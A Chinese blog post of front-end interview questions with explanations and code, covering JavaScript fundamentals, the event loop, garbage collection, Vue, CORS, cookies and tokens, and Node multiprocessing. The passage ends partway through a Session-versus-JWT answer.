前端面试常考题(含详细答案和分析,长更)

308 阅读33分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 2 月更文挑战」的第 2 天,点击查看活动详情

0.1 + 0.2 !== 0.3

计算机中使用二进制存储数据,造成小数在转成二进制时可能会发生精度丢失(整数转二进制时不会)

解决方案:

  1. 如果经常需要进行小数的计算可以使用第三方库,例如:math.js
  2. 计算前先转成整数,计算后再确认小数的位置
  3. ES6在Number对象上面,新增一个极小的常量Number.EPSILON,他是 JavaScript 能够表示的最小精度。误差如果小于这个值,就可以认为已经没有意义了,即不存在误差了

防抖节流

防抖是限制执行次数,多次密集的触发只触发一次

  • 解释:防止抖动(你先抖动着,啥时候停,再执行下一步)
  • 场景:输入框校验,当输入停止后再触发检验
  • 代码演示
function debounce(fn, delay = 200) {
    let timer = 0;
    return function () {
        if (timer) clearTimeout(timer);

        timer = setTimeout(() => {
            fn && fn.apply(this, arguments); // 透传this和参数
            clearTimeout(timer);
            timer = 0;
        }, delay);
    };
}
const input = document.querySelector("#input");
input.addEventListener(
    "keyup",
    debounce(function(){
        console.log("检验");
    }),
    300
);

节流是限制执行的频率, 有节奏的执行

  • 解释:节省交互(别急,按照时间节奏来,插队的无效)
  • 场景:页面滚动,nav-bar 效果改变,拖拽
  • 代码演示
function throttle(fn, delay = 100) {
    let lock = false;
    return function () {
        // if(timer) return
        // timer = setTimeout(() => {
        //     fn && fn.apply(this, arguments)
        //     timer = 0
        // }, delay)
        if (lock) return;
        lock = true;
        requestAnimationFrame(() => {
            fn.apply(this, arguments);
            lock = false;
        });
    };
}
const div = document.querySelector("#div");
div.addEventListener(
    "drag",
    throttle(function(e){
        console.log(new Date().getTime());
    })
);

js实现继承的方式

  1. 原型链继承

普通的object对象和map有什么区别

相同点:都是键值对的动态集合

区别:

  • 创建方式
    • map只能通过new Map()创建
    • object可以通过字面量创建、通过new Object()、通过Object.create()创建
  • key的类型
    • object的key只能是字符串和Symbol,如果是其他的类型,会转换成字符串
    • map的key可以是任意类型
    • 扩展:weakmap的key只能是引用类型
  • 顺序问题
    • object是无序的
    • map是有序的,按照添加的顺序排列

Ajax、Fetch 和 Axios 三者的区别

  • 相同点:归属于网络请求相关内容
  • 区别:三者维度不同
    • Ajax 是一个技术统称,是一个概念模型,它囊括了很多技术,并不特指某一技术,它很重要的特性之一就是让页面实现局部刷新。
    • Fetch 是浏览器原生 API,基于 Promise,用于网络请求,和 XMLHttpRequest 一个级别的
    • Axios 是基于 Promise 的网络请求第三方库,他可以运行在浏览器和 node 中,在浏览器是基于 XMLHttpRequest/Fetch 实现的,在 node 是基于原生的 http 模块实现的

fetch的特点

  • 不论服务器返回的状态码是多少,Promise都是成功态,只有断网才是失败态

px % em rem vw/vh有什么区别

  • px 基本单位,绝对单位(其他的都是相对单位)
  • % 相对于父元素的宽度/高度比例
  • em 相对于当前元素的font-size
  • rem 相对于根节点的font-size
  • vw/vh 屏幕宽度/高度的 1%(vmin取vw和vh中的最小值,vmax取vw和vh中的最大值)

...

  • 在函数参数中,叫剩余运算符,将所有的参数组合成一个数组,只能在最后一个参数使用
  • 展开运算符

为什么typeof null是object

  • typeof null输出为object,其实是语言层面的一个底层错误,但是直到现阶段都无法修复
  • 原因是在JavaScript初始版本中,值以32位存储。前3位表示数据类型的标记,其余位置则是值
  • 对于所有的对象,它的前3位都以000作为类型标记位,在JavaScript早期版本中,null被认为是一个特殊的值,用来对应C中的空指针。但JavaScript中没有C中的指针,所以null意味着什么都没有并以全0(32个)表示
  • 因此当JavaScript读取null时,它的前3位是000,就会将它视为对象类型,这就是typeof null返回的是object

new操作符具体做了什么事情

  1. 创建一个空的对象
  2. 将空对象的__proto__指向构造函数的prototype
  3. 将空对象作为构造函数的上下文,执行构造函数(改变this指向)
  4. 对构造函数有返回值的处理判断(如果构造函数没有返回值或返回的是值类型,则返回this)

连环问:模拟实现new操作符

根据上面的4个步骤来模拟

function Person(name, age) {
    this.name = name;
    this.age = age;
}

function create(fn, ...args) {
    // 1. 创建一个空的对象
    let obj = {};
    // 2. 将空对象的__proto__指向构造函数的prototype
    Object.setPrototypeOf(obj, fn.prototype)
    // 3. 将空对象作为构造函数的上下文,执行构造函数(改变this指向)
    let result = fn.apply(obj, args)
    // 4. 对构造函数有返回值的处理判断(如果构造函数没有返回值或返回的是值类型,则返回this)
    return result instanceof Object ? result : obj
}
console.info(create(Person, "张三", 18));

闭包是什么

闭包是指能够访问另一个函数作用域中的变量的函数

连环问:闭包可以解决什么问题(闭包的优点)

  1. 保护:划分一个独立的代码执行区域,在这个区域中有自己私有变量存储的空间,而用到的私有变量和其它区域中的变量不会有任何的冲突(防止全局变量污染)
  2. 保存:如果上下文不被销毁,那么存储的私有变量的值也不会被销毁,可以被其下级上下文中调取使用

连环问:闭包有什么缺点

变量会常驻在内存中,造成内存的损耗问题(可以把闭包的函数设置成null来解决)

图片格式png和jpg/jpeg有什么区别

  • png图片
    • 无损压缩算法
    • 保持图像的透明度
    • 图片体积较大
    • 图片质量较高
  • jpg图片
    • 有损压缩算法
    • 不保持图像的透明度
    • 图片体积较小
    • 图片质量较低

Promise的优缺点

优点:

  1. 可以解决异步嵌套问题(回调地狱)
  2. 可以解决多个异步并发问题

缺点:

  1. Promise还是基于回调的,会出现链式调用时传递回调函数的问题
  2. Promise无法终止异步

箭头函数有什么缺点,什么情况下不能使用箭头函数

缺点:

  • 没有arguments
  • 无法通过apply call bind改变this

不适用情况:

  • 对象方法
const obj = {
    name: "张三",
    age: 18,
    getAge: () => {
        console.log(this); // window
        console.log(this.age); // undefined
    }
}
obj.getAge()
  • 对象原型
const obj = {
    name: "张三"
}
obj.__proto__.getName = () => {
    console.log(this); // window
    return this.name
}
console.log(obj.getName());
  • 构造函数
// 报错
const Person = (name, age) => {
    console.log(this);
    this.name = name
    this.age = age
}
const p = new Person("张三", 18)
  • 动态上下文的回调函数
const btn = document.getElementById("btn")
btn.addEventListener("click", () =>{
    console.log(this); // window
    this.innerHtml = "click"
})
  • Vue生命周期函数和method
    • Vue组件本质上是一个对象,就是不适应的第一种情况

如何监听网络情况

  • 使用 navigator.onLine/onoffline 监听是否有网络
  • 使用 navigator.connection 获取网络的情况(网络类型2G 3G 4G等)

描述TCP三次握手和四次挥手

建立TCP链接

  • 先建立链接(确保双方都有收发消息的能力)
  • 再传输内容(例如发送一个get请求)
  • 网络连接是TCP协议,传输内容是HTTP协议

三次握手-建立连接

  • Client发包,Server接收(服务器接收后得出结论:客户端发送功能正常,服务器接收功能正常。)
  • Server发包,Client接收(客户端收到后得出结论:客户端发送和接收功能都正常,服务器的发送接收功能也都正常。但此时服务器不能确认客户端的接收功能和自己的发送功能是否正常
  • Client发包,Server接收(服务器收到后得出结论:客户端的接收功能和服务器的发送功能也都正常)

四次挥手-断开连接

  • Client发包,Server接收(Client停止发送数据,主动关闭TCP连接,等待Server确认)
  • Server发包,Client接收(表示收到关闭请求,进入等待关闭,传输中的数据继续进行传输)
  • Server发包,Client接收(表示数据已经全部传输完,等待Client确认)
  • Client发包,Server接收(表示可以关闭,但是经过一段时间确保服务器收到自己的应答报文后再进行关闭,Server接收到后就关闭)

for...in和for...of的区别

  • for...in用于可枚举数据,例如对象、数组、字符串。遍历得到key
  • for...of用于可迭代对象,例如数组、字符串、Map、Set、generator。遍历得到value
  • 示例:
    • 遍历对象:for...in可以,for...of不可以
      • for...of不可以是因为没有迭代接口,如果实现了他的迭代接口就可以遍历了
      const obj = {
          name: "张三",
          age: 18
      }
      obj[Symbol.iterator] = function*() {
          for (const key in obj) {
              yield [key, obj[key]]
          }
      }
      for(let val of obj) {
          console.log(val); // ['name', '张三']  ['age', 18]
      }
      
    • 遍历Map Set:for...of可以,for...in不可以
    const set = new Set([10,20,30])
    for (const n of set) {
        console.log(n); // 10  20  30
    }
    const map = new Map([
        ["x", 1],
        ["y", 10],
        ["z", 100]
    ])
    for (const n of map) {
        console.log(n); // ["x", 1]   ["y", 10]   ["z", 100]
    }
    
    • 遍历generator:for...of可以,for...in不可以
    function* foo() {
        yield 100
        yield 200
        yield 300
    }
    for (const n of foo()) {
        console.log(n); // 100   200   300
    }
    

for await of

异步迭代器,遍历等待每个Promise对象变为resolved状态才进入下一步

function createPromise(val) {
    return new Promise((resolve, reject) => {
        setTimeout(() => {
            resolve(val)
        }, 1000)
    })
}
(async function() {
    const p1 = createPromise(100)
    const p2 = createPromise(200)
    const p3 = createPromise(300)

    const list = [p1, p2, p3]
    // Promise.all(list).then(res => console.log(res))

    for await (let res of list) {
        console.log(res);
    }
})()

盒子模型

盒子模型分两种:

  • W3C标准盒子模型(标准盒模型)
  • IE标准盒子模型(怪异盒模型)

区别:

  • 标准盒模型中width指的是内容区域content的宽度;height指的是内容区域content的高度。标准盒模型下盒子的大小 = content + border + padding + margin
  • 怪异盒模型中的width指的是内容、边框、内边距总的宽度(content + border + padding);height指的是内容、边框、内边距总的高度。怪异盒模型下盒子的大小=width(content + border + padding) + margin

设置方式:

box-sizing: content-box; // 默认的
box-sizing: border-box;

offsetHeight scrollHeight clientHeight的区别(offsetWidth scrollWidth clientWidth)

  • clientHeight:元素的高度,包含元素的高度+内边距,不包含水平滚动条,边框和外边距
  • offsetHeight:元素的高度 包含元素的高度+内边距+边框+滚动条的高度,不包含外边距
  • scrollHeight:元素内容的高度,包括溢出的不可见内容+内边距

HTMLCollection和NodeList区别

  • DOM是一棵树,所有节点都是Node
  • Node是Element的基类
  • Element是其他HTML元素的基类,例如HTMLDivElement
class Node {}

// document
class Document extends Node {}
class DocumentFragment extends Node {}

// 文本和注释
class CharacterData extends Node {}
class Comment extends CharacterData{}
class Text extends CharacterData {}

// element
class Element extends Node {}
class HTMLElement extends Element {}
class HTMLDivElement extends HTMLElement {}
class HTMLInputElement extends HTMLElement{}
  • HTMLCollection是Element的集合
  • NodeList是Node的集合
  • 获取Node和Elemnt的返回结果可能不一样
  • 如ele.childNodes 和 ele.children

类数组和数组

HTMLCollection和NodeList都不是数组而是“类数组”

类数组指包含 length 属性或可迭代的对象(其实它就是一个对象,一个长的像数组的对象)

联系和区别:

  • 都有length属性
  • 类数组也可以for循环遍历,有的类数组还可以通过 for of 遍历
  • 类数组不具备数组的原型方法,因此类数组不可调用相关数组方法(如,push,slicec,concat等等)

类数组转换成数组的方式:

// 方式一
const arr1 = Array.from(list)

// 方式二
const arr2 = Array.prototype.slice.call(list)

// 方式三 需要有迭代器接口
const arr3 = [...list]

Vue computed 和 watch区别

两者用途不同:

  • computed用于计算产生新的数据,有缓存
  • watch用于监听现有数据

扩展:

  • computed有缓存,当其依赖的属性的值发生变化时,计算属性会重新计算,反之,则使用缓存中的属性值
  • methods没有缓存

Vue组件通讯有几种方式,尽量全面

  • props和$emit
    • 适合父子组件间的通讯
  • 自定义事件(事件总线)
    • 适合跨越层级的组件通讯(例如兄弟组件之间)
    • 在Vue2中可以使用new Vue()
    • 在Vue3需要引入第三方库,例如:event-emitter
      • 因为vue3中$on$off 和 $once 实例方法已被移除,因为这会导致项目后期维护变的困难
  • $attrs
    • 可以用于上下级组件的通讯(跨多级),但是需要v-bind
    • 透传Attributes,指由父组件传入,且没有被子组件声明为 props 或是组件自定义事件的 attributes 和事件处理函数
    • 在Vue2中有$attrs$listeners,透传属性和透传事件处理函数
    • 在Vue3中移除了$listeners(把$listeners合并到了$attrs
  • $parent
    • 可以获取到父组件对象,就可以获取父组件的属性和调用父组件的方法
    • 在Vue2中有$parent$children
    • 在Vue3中去除了$children,建议使用$refs
  • $refs
    • 可以获取到子组件对象,就可以获取子组件的属性和调用子组件的方法
  • provide/inject
    • 依赖注入,这个是比较适合逐级透传的方法,优于$attrs
    • provide为所有后代组件提供数据
    • inject接收上层组件提供的数据
  • pinia/Vuex
    • Vue的状态管理库,允许你跨组件或页面共享状态

watch和created的优先级

在wacth监控数据时,设置immediate:true;会优先执行watch,created后执行;反之则反 扩展:computed是在他们之后执行

Vuex mutation和action的区别

  • mutation是原子操作,必须是同步代码
  • action可以包含多个mutation,可包含异步代码

JS严格模式有什么特点

开发的方式:

'use strict' // 全局开启

function fn(){
    'use strict' // 函数内部开启
}

特点:

  1. 全局变量必须声明
  2. 禁止使用with
  3. 创建eval作用域(eval不推荐使用,这里只为了面试,工作中尽量避免使用,性能不好)
  4. 禁止this指向window
  5. 函数参数名不能重复

跨域问题连环问

  1. 什么是跨域
    • 网页地址和请求接口的地址不在同源策略的规范下,就会报跨域错误
  2. 为什么会发生跨域
    • 浏览器的同源策略限制,同源策略是一种约定,它是浏览器最核心也最基本的安全功能
  3. 浏览器的同源策略
    • JS在未经允许的情况下不能访问其他域下的内容
  4. 同源是什么
    • 协议、域名和端口都相同的叫做同源,有任一不同的叫非同源
  5. 同源策略主要限制什么
    • 一个域下的JS不能访问另一个域下面的cookie、localStrorage和indexDB
    • 一个域下的JS不能访问另一个域的DOM
    • ajax不能做跨域请求(重点)
  6. 特殊
    • 不会限制<link><img><script><iframe>加载第三方资源
    • 跨域错误是在浏览器发生的:
      • 请求发送出去,服务器能够收到,服务器也返回了数据
      • 响应结果来到浏览器,浏览器就会判断,如果是跨域请求就会看响应头,如果服务器设置了允许跨域,就不会报跨域错误了,如果没有允许,就会报错
  7. 解决跨域的方法
    • JSONP:向服务器发送请求,同时把本地的一个函数传递给服务器。只能用于GET,无法实现POST
      <!-- a网页 -->
      <script>
          window.onSuccess = function(data) {
              console.log(data);
          }
      </script>
      <script src="https://www.b.com/api/getData"></script>
      
      // https://www.b.com/api/getData 接口返回一段字符串,因为是在script加载的,所以会被当作JS执行,就会调用事先在window定义好的函数
         "onSuccess({error: false, data: {内容}})"
      
    • CORS:跨域资源共享
      • 服务端CORS配置允许跨域
      • 设置允许所有源通过会导致无法携带cookie
    • Nginx反向代理
    • 开发环境下可以使用代理配置proxy
    • 开发环境可以通过修改本地HOST(switchhost)

HTTP跨域请求时为何要发送options请求

options请求是跨域请求前的预检查,检查当前网页所在域名是否在服务器的许可名单中,服务器允许后,浏览器才会发出正式的请求,否则不发送正式请求,这是浏览器自行发起的无需我们干预,不影响实际请求

JS内存泄露如何检测,有哪些场景会造成内存泄露

  • 检测:可以使用Chrome DevTools的Performance和Memory来检测JS内存,如果内存持续升高,则说明发生内存泄露
  • 场景(以Vue为例):
    1. 被全局变量、函数引用,组件销毁时未清除
    data() {
        return {
            arr: [10, 20, 30]
        }
    },
    mounted() {
        window.arr = this.arr
        window.printArr = () => {
            console.log(this.arr)
        }
    },
    beforDestroy() {
        window.arr = null
        window.printArr = null
    }
    
    1. 被全局事件、定时器引用,组件销毁时未清除
    data() {
        return {
            arr: [10, 20, 30],
            timer: null
        }
    },
    mounted() {
       this.timer = setInterval(() => {
           console.log(this.arr)
       }, 100)
    },
    beforDestroy() {
        if(this.timer) {
            clearInterval(this.timer)
            this.timer = null
        }
    }
    
    data() {
        return {
            arr: [10, 20, 30]
        }
    },
    methods: {
        printArr() {
            console.log(this.arr)
        }
    },
    mounted() {
        window.addEventListener("resize", this.printArr)
    },
    beforDestroy() {
        window.removeEventListener("resize", this.printArr)
    }
    
    1. 被自定义事件(EventBus)引用,组件销毁时未清除
    2. console导致的内存泄漏(只有在devtools打开时才会引发,为了稳妥打包生产环境的时候使用插件去除console)
  • 扩展:WeakMap和WeakSet是ES6提供的数据结构,是弱引用,如果没有其他的对 WeakSet/WeakSet中对象的引用,那么这些对象会被当成垃圾回收掉
// 代码1
element.addEventListener('click', handler, false)

// 代码2
weak.set(element, handler)
element.addEventListener('click', weak.get(element), false)

代码 2 比起代码 1 的好处是:由于监听函数是放在 WeakMap 里面,一旦 element 对象的其他引用消失,与它绑定的监听函数 handler 所占的内存也会被自动释放

什么是GC

  • GC 是 Garbage Collection,程序运行过程中会产生很多 垃圾,这些垃圾是程序不再使用的内存或者一些不可达的对象,而 GC 就是负责回收垃圾的,找到内存中的垃圾、并释放和回收空间
  • 垃圾回收程序每隔一定时间或者说代码执行过程中某个预定阶段的收集时间就会自动运行
  • 在浏览器的发展历史上,用到过两种主要的标记策略:标记清理 和 引用计数

引用计数

  • 在以前的浏览器会使用(IE6 7)
  • 核心思想是:对每一个值记录的引用次数,声明变量并赋一个引用值时,这个值的引用数就为1,如果同一个值又被赋予另一个变量,那么引用数加1,如果保存该值的变量赋予其他值,那么引用数减1,当一个值的引用数为0时,说明再也无法访问到该值了,因此可以安全的回收其内存,垃圾回收程序下次运行的时候就会清理引用数为0的值的内存
  • 优点:
    • 可即刻回收垃圾,当被引用数值为0时,对象在变成垃圾的时候就立刻被回收
    • 最大暂停时间,因为是即时回收,那么程序不会暂停去单独使用很长一段时间的GC
  • 缺点:
    • 时间开销大,因为引用计数算法需要维护引用数,一旦发现引用数发生改变需要立即对引用数进行修改
    • 无法解决循环引用的问题,在例子中,A 和 B 通过各自的属性相互引用,意味着它们的引用数都是2,函数结束后,他们的引用数永远无法变为0,内存就不会被回收,这和我们的预期不符,这就叫做内存泄露
    function foo() {
      const A = {};
      const B = {};
    
      A.foo = B;
      B.foo = A;
    }
    
    foo();
    

标记清除

  • 现代浏览器使用
  • 核心思想:
    1. 垃圾收集器在运行时会给内存中的所有变量都加上一个标记,假设内存中所有对象都是垃圾,全标记为0;
    2. 从根对象(在浏览器可以理解为window)开始深度遍历,把不是垃圾节点标记为1
    3. 清除所有标记为0的垃圾节点,并回收他们所占用的内存空间
    4. 把内存中所有对象标记改成0,等待下一次垃圾回收
  • 优点:
    1. 实现简单,打标记就只有0和1两种可能
    2. 解决循环引用导致的问题
  • 缺点:
    1. 内存碎片化(内存零零散散的存放,造成资源浪费)
    2. 分配时遍历次数多,如果一直没有找到合适的内存块大小,那么会遍历空闲链表(保存堆中所有空闲地址空间的地址形成的链表)一直遍历到尾端
    3. 不会即时回收资源

V8垃圾回收策略

  • V8的垃圾回收策略主要是基于 分代式垃圾回收策略,其根据对象的存活时间将内存的垃圾回收进行不同的分代,针对不同的分代采用不同的垃圾回收算法
  • V8将堆分为两个空间,一个叫新生代,一个叫老生代
    • 新生代存放存活周期短的对象(经过一次垃圾回收就被释放回收掉)
    • 老生代存放存活周期长的对象 (经过多次垃圾回收内存仍存在)
  • 新生代垃圾回收机制:新生代区域划分为两块空间,from空间(使用空间),to空间(空置空间)。当from空间的内存要满时,开始标记,将存活的对象标记好,标记好后把他们复制到空置空间,然后把from空间清空,最后交换他们的名称(from变为to to变为from)
  • 老生代垃圾回收机制:采用上面提到的标记清除法和标记压缩法,将所有对象标记为0,将存活的对象标记为1,将标记为0的对象的内存空间释放并回收,将标记为1的对象全部标记为0,最后使用标记压缩算法,将他们的位置整理好们如此往复
  • 标记压缩算法:不断的把活动内存复制到近似连续的内存空间中去,解决GC后内存碎片的现象
  • 全停顿:垃圾回收需要用到Javascript引擎,Javascript代码的运行也要用到Javascript引擎,为了解决冲突,垃圾回收的3种基本算法都需要将应用逻辑停下来,得执行完垃圾回收后再恢复执行应用逻辑,这种行为被称为 全停顿(stop-the-world)
  • 延迟清理:假如当前的可用内存足以让我们快速的执行代码,所以没必要立即清理内存或者只清理部分垃圾,而不清理全部

闭包是内存泄露吗

闭包的数据是常驻数据,不能被回收。但是他是符合我们预期的,所以不是内存泄露

浏览器和nodejs的事件循环有什么区别

  • JS是单线程的,无论是在浏览器还是在nodejs
  • 浏览器中JS引擎线程和GUI渲染线程互斥
  • 浏览器和nodejs的event loop流程基本相同:同步任务 -> 微任务 -> 宏任务
  • 浏览器的顺序是按照先进任务队列先执行
  • nodejs的宏任务和微任务分类型和优先级

浏览器的event loop

速通EventLoop事件循环

  • 异步任务
    • 宏任务:
      • setTimeout setInterval 网络请求
      • 在下一轮DOM渲染之前执行
      • setTimeout和setInterver是经过设置好的延时时间后才会进到任务队列中
    • 微任务:
      • promise async/await mutationobserver(监听DOM树更改)
      • 在下一轮DOM渲染之后执行
  • 异步任务队列分为:宏任务队列和微任务队列
  • 流程:
    1. 先执行同步任务的代码,异步任务进入到队列中
    2. 当同步任务执行完,主线程空闲就会看队列中有没有宏任务或者微任务
    3. 如果有就将微任务推到主线程执行
    4. 执行完微任务后进行DOM渲染
    5. 将宏任务推到主线程执行
    6. 持续监听任务队列,当有宏任务或微任务进入队列,则推到主线程执行
  • 扩展:Vue的nextTick经历了微任务 -> 宏任务 -> 微任务和宏任务并行 -> 微任务 参考

nodejs的event loop

  • 流程:
    1. 执行同步代码
    2. 执行微任务代码(process.nextTick优先级最高)
    3. 按顺序执行6个类型的宏任务(每个宏任务开始前要检查微任务队列是否有新加入的任务,有则先执行微任务,执行完再执行宏任务。宏任务中setImmediate优先级最低)
  • 推荐使用setImmediate代替process.nextTick

虚拟DOM真的很快吗

  • 什么是虚拟DOM
    • vdom,virtual DOM的简写,即虚拟DOM
    • vdom是指用JS对象模拟DOM节点数据
    • vdom是数据驱动视图的一个技术实现
  • Vue React等框架的价值
    • 核心是数据视图分离,数据驱动视图(让开发者专注于业务数据而不用再关心DOM变化)
      • 数据发生改变
      • 重新生成vdom
      • 新旧vdom进行对比找出需要更新的部分(diff算法)
      • 更新DOM
    • 组件化
  • 答案:
    • vdom并不快,JS直接操作DOM才是最快的
    • 但是数据驱动视图要有一个合适的技术方案,不能说数据改变了全部的DOM都重建
    • 综合来说vdom就是目前最适合的技术方案,不是因为他快而是合适
    • 扩展:Svelte没有使用vdom,他的速度比Vue和React更快

遍历数组时,for和forEach哪个更快

  • for更快
  • forEach每次都要创建一个函数来调用,而for不会创建函数
  • 函数需要独立的作用域,会有额外的开销
  • 时间复杂度一样的情况下,越“低级”的代码,性能越好

nodejs如何开启多进程,进程如何通讯

  • 进程(process):OS进行资源分配(内存分配)和调度的最小单位,有独立内存空间,一个进程可以有多个线程
  • 线程(thread):OS进行运算调度的最小单位,共享进程内存空间
  • JS是单线程的,但是可以开启多进程执行例如:WebWorker
  • 为何需要多进程
    • 多核CPU,更适合处理多进程
    • 内存较大,多个进程可以更好的利用(单进程有内存上限)
    • “压榨”机器,更快更节省
  • nodejs开启多进程可以使用child_process.forkcluster.fork,使用send和on进行通讯
    • 使用nodejs内置的child_process 模块的fork函数开启
    // process-fork.js
    const http = require("http")
    const {fork} = require("child_process")
    const server = http.createServer((req, res) => {
        if(req.url === "/get-sum") {
            console.info("主进程id", process.pid)
            //  开启子进程
            const computeProcess = fork("./compute.js")
            // 向子进程发送消息
            computeProcess.send("开始计算")
            // 监听子进程的消息
            computeProcess.on("message", data => {
                console.info("主进程接收的信息", data);
                res.end("sum is " + data)
            })
            computeProcess.on("close", () => {
                console.info("子进程因报错而退出")
                computeProcess.kill()
                res.end("error")
            })
        }
    })
    server.listen(3000, () => {
        console.info("localhost:3000");
    })
    
    // compute.js
    /**
     * 子进程 计算
     */
    
    function getSum() {
        let sum = 0
        for(let i = 0; i < 10000; i++) {
            sum += i
        }
        return sum
    }
    
    process.on("message", data => {
        console.info("子进程id", process.pid);
        console.info("子进程接收的信息", data)
        const sum = getSum()
    
        // 发送消息给主进程
        process.send(sum)
    })
    
    • 使用nodejs内置的cluster模块
    // cluster.js
    const http = require("http")
    const cpuCoreLength = require("os").cpus().length // 获取cpu的核数
    const cluster = require("cluster")
    console.log(cpuCoreLength);
    // 如果是集群的主进程
    if(cluster.isMaster) {
        for(let i = 0; i < cpuCoreLength; i++) {
            cluster.fork()
        }
    
        // 进程守护
        cluster.on("exit", worker => {
            console.log("子进程退出", worker);
            cluster.fork()
        })
    } else {
        const server = http.createServer((req, res) => {
            res.writeHead(200)
            res.end("done")
        })
        // 多个子进程会共享一个TCP连接,提供一份网络服务,所以端口号不会冲突
        server.listen(3000)
    }
    
    

请描述 JS Bridge 的原理

一般使用URL Scheme的方式实现

什么是 JS Bridge

JS无法直接调用native API,需要通过一些特殊的“格式”来调用,这些“格式”就统称JS Bridge,例如微信JSSDK

JS Bridge的常见实现方式

  • 注册全局API
  • URL Scheme
    • URL Scheme是一种类似于url的链接,h5native约定一套通信协议作为通信基础(例如:app-name://methodName?data=xxx&cb=xxx)
      • app-name:协议名
      • methodName:JS调用native的方法名
      • data:调用参数
      • cb:调用后回调函数
    • 当JS调用native的方法时,一般通过构建一个不可见的iframe发起请求;请求以约定的方式以url形式发送,native会拦截h5的所有请求(如进行长连接优化等),如果发现url中的协议名是约定的协议名(如app-name),则去解析url的methodName、data和cb
// 简单实现
// 封装JS Bridge
const sdk = {
    invoke(url, data = {}, onSuccess, onError) {
        const iframe = document.createElement("iframe")
        iframe.style.visibility = "hidden"
        document.body.appendChild(iframe)
        iframe.onload = () => {
            const content = iframe.contentWindow.document.body.innerHTML
            onSuccess(JSON.parse(content))
            iframe.remove()
        }
        iframe.onerror = (err) => {
            onError(err)
            iframe.remove()
        }
        iframe.src = `app-name://${url}?data=${JSON.stringify(data)}`
    },
    // 扫一扫
    scan(data, onSuccess, onError) {
        this.invoke("api/scan", data, onSuccess, onError)
    },
    // 分享
    share(data, onSuccess, onError) {
        this.invoke("api/share", data, onSuccess, onError)
    }
}

// 使用
sdk.scan()

requestIdleCallback和requestAnimationFrame的区别

requestAnimationFrame 浏览器每一帧都会执行,优先级高

requestIdleCallback 浏览器当前帧还有空闲时间时执行,优先级低

  • React fiber利用了这个特性
    • 组件树转换为链表,可中断渲染
    • 渲染时可以停止,去执行优先级高的任务,等空闲时再接着渲染
    • 判断是否空闲就是使用了requestIdleCallback

Vue的生命周期有哪些

  • setup(Vue3新增 composition API的情况下代替了beforeCreate和created)
  • beforeCreate
    • 创建一个空白的Vue实例
    • data method尚未被初始化,不可使用
  • created
    • Vue实例初始化完成,完成响应式绑定
    • data method都已经初始化完成,可以调用
  • beforeMount
    • 编译模板,调用render生成vdom
    • 还没开始渲染DOM
  • mounted
    • 完成DOM渲染
    • 组件创建完成
    • 开始由“创建阶段”进入“运行阶段”
  • beforeUpdate
    • data发生变化之后
    • 准备更新DOM(尚未更新DOM)
  • updated
    • data发生改变,且DOM更新完成
    • 不要在updated中修改data,可能会导致死循环
  • beforeDestroy(Vue3更名为beforeUnmount)
    • 组件进入销毁阶段(尚未销毁,可正常使用)
    • 可移除、解绑一些全局事件、自定义事件(例如Event Bus)
  • destroyed(Vue3更名为unmounted)
    • 组件销毁完成
    • 所有子组件也被销毁了

连环问:keep-alive组件的生命周期

  • activated
    • 缓存组件被激活
  • deactivated
    • 缓存组件被隐藏

连环问:Vue什么时候操作DOM比较合适

  • mounted和updated都不能保证子组件全部挂载完成
  • 所以应该使用nextTick,等待下一次DOM更新刷新去操作DOM

连环问:请求接口应该在哪个生命周期

  • 在created或mounted都可以

连环问:Vue3 Componsition API生命周期有什么区别

  • 使用setup代替了beforeCreate和created
  • 使用Hooks函数的形式,例如:mounted改为onMounted、updated改为onUpdated等等

Vue2 Vue3 React三者diff算法有什么区别

  • Vue2是双端比较
  • Vue3是最长递增子序列
  • React是仅右移

Tree diff的优化

  • 只比较同一层级,不跨级比较(如果严格的树diff,涉及到跨级的比较,时间复杂度是O(n^3),如果树的节点一多会导致崩溃,不可用)
  • tag不同则删除重建(不再比较内部的细节)
  • 子节点通过key区分(key的重要性)
  • 优化后的时间复杂度是O(n)

连环问:Vue React为什么循环时必须使用key

  • vdom diff算法会根据key来判断元素是否要删除
  • 匹配到了key,则只移动元素,性能比较好
  • 未匹配到key,则删除重建,性能较差

Vue-router MemoryHistory

  • Vue-router的三种路由模式
    • Hash
    • WebHistory
    • MemoryHistory(V4之前叫abstract history)
  • Hash和WebHistory是通过window.history.state来管理历史记录的,可以通过浏览器的工具导航栏前进后退
  • MemoryHistory是在内存中维护一个队列和位置来实现路由记录的管理,页面切换,url不发生改变,主要用来处理SSR,不能通过浏览器的工具导航栏前进后退
  • 扩展:React-router也有相同的3种模式

移动端H5 click有300ms延迟,如何解决

  • 背景:2007 年初。苹果公司在发布首款 iPhone 前夕,遇到在手机浏览器访问网站展示不完全的问题(当时的网站都是为大屏幕设备所设计的,在手机上展示内容会变小,体验不好),为了解决这个问题,苹果的工程师提出了一个解决方案:双击缩放(double tap to zoom),如何判断用户是想要单击还是双击缩放呢?约定第一次点击时先不触发事件,等待300ms,如果此时间内再次点击则作为双击缩放,否则触发单击事件。鉴于iphone的成功,其他的浏览器采取了这种方案
  • 解决方案:
    • 初期解决方案:FastClick(目前不推荐了)
      • 监听touchend事件(touchstart touchend会先于click触发)
      • 使用自定义DOM事件模拟一个click事件
      • 把默认的click事件(300ms之后触发)禁止掉
    • 目前流行的解决方案:在HTML文档头部添加如下meta标签
    <meta name="viewport" content="width=device-width,user-scalable=no">
    

网络请求中,token和cookie有什么区别

cookie:HTTP标准,有跨域限制,配合session使用做登录验证

token:无标准,没有跨域限制,用于JWT(JSON WEB TOKEN)

  • cookie
    • HTTP无状态,每次请求都要携带cookie,以帮助识别身份
    • 服务端也可以向客户端set-cookie,cookie大小限制4kb
    • 默认有跨域限制:不可跨域共享、传递cookie
    • 如果想要跨域传递cookie,前端需要设置withCredentials为true表明前端想要跨域传递cookie,后端也同样需要设置表明允许跨域传递cookie
  • HTML5之前cookie常被用于本地存储
  • HTML5之后推荐使用localStorage和sessionStorage
  • 现代浏览器开始禁止第三方cookie
    • 和跨域限制不同。这里是禁止网页引入的第三方JS设置cookie
    • 原因:打击第三方广告,保护用户隐私
  • cookie和session
    • cookie用于登录验证,存储用户标识(例如:userId)
    • session在服务端存储用户详细信息,和cookie信息一一对应
    • cookie+session是常见的登录验证解决方案
  • token vs cookie
    • cookie是HTTP规范(发起网络请求时,自动携带),token是自定义传递
    • cookie默认会被浏览器存储,token需要自己存储
    • token默认没有跨域限制

连环问:发送请求时,如何携带token

使用axios时,可以在请求拦截器里面设置,在请求头添加Authorization

Authorization: Bearer <token>

连环问:Session和JWT哪个更好

  • Session的优点:
    • 原理简单,易于学习。配合cookie可以很好的实现登录检验
